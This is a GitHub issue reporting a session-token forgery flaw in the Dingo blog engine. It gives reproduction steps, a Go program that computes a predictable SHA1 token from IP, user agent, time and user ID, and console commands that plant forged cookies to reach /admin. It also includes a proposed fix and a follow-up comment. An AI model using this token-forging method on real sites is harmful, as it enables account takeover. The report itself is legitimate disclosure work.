Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Security vulnerability in token logic #79

Open
bentranter opened this issue May 28, 2016 · 1 comment
Open

Security vulnerability in token logic #79

bentranter opened this issue May 28, 2016 · 1 comment

Comments

@bentranter
Copy link
Collaborator

Steps to reproduce:

  1. Start a fresh instance of Dingo.
  2. Create a new user (so the user ID 1 exists)
  3. In app/model/token.go, change the NewToken function so it uses a set time (this is just to make it easier to reproduce this bug)
var attackTime = time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)

func NewToken(u *User, ctx *golf.Context, expire int64) *Token {
    t := new(Token)
    t.UserId = u.Id
    t.CreatedAt = utils.Now()
    expiredAt := t.CreatedAt.Add(time.Duration(expire) * time.Second)
    t.ExpiredAt = &expiredAt
    t.Value = utils.Sha1(fmt.Sprintf("%s-%s-%d-%d", ctx.ClientIP(), ctx.Request.UserAgent(), attackTime.Unix(), t.UserId))
    return t
}

Once you've done that, login to Dingo so you have an active session associated with your User ID. Once you've done that, you're all done on the Dingo side of things for now. Next, create a new file and run the following code:

package main

import (
    "fmt"
    "time"

    "github.com/dinever/golf"
    "github.com/dingoblog/dingo/app/utils"
)

var attackTime = time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)

func forgedTokenHandler(ctx *golf.Context) {
    forgedToken := utils.Sha1(fmt.Sprintf("%s-%s-%d-%d", ctx.ClientIP(), ctx.Request.UserAgent(), attackTime.Unix(), 1))
    ctx.Response.Write([]byte(forgedToken))
}

func main() {
    app := golf.New()
    app.Get("/", forgedTokenHandler)

    app.Run(":3000")
}

Start that server, and visit http://localhost:3000. There, you'll see a SHA that probably looks something like a9a596375f3313c1649edf3db2f9845fc0874056. Copy that SHA, open a new Incognito window and visit your Dingo blog again. Try to visit the /admin route. You'll be redirected to the /# route of course, since you're not logged in, but we're not done yet! Open the dev tools console and run:

document.cookie = "token-user=1; path=/";

// Swap out the <SHA> here with the SHA you copied earlier
document.cookie = "token-value=<SHA>; path=/";

After you run that, try to access /admin again. If you did everything right, you'll be logged in as that user!

To address this, I think we should just work on implementing secure cookies and sessions in Golf itself. We could work on dinever/golf#12, and borrow the secure session and cookie logic from gorilla/sessions, since their implementation is rock-solid and secure.

It should also be noted that it's fairly hard to attack this as-is, since you'd need to know a lot about the user, and be able to figure out the time the user's token was created. That stuff is susceptible to brute-force attacks though, and since Golf and Dingo perform so well, you could try a lot of different times per second using the API.

@rebootcode
Copy link

This is set-cookie issue and it can be still protected by simply setting "http-only" cookie along with "host-only" . With http , hacker can not set and use cookie with just javascript.

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants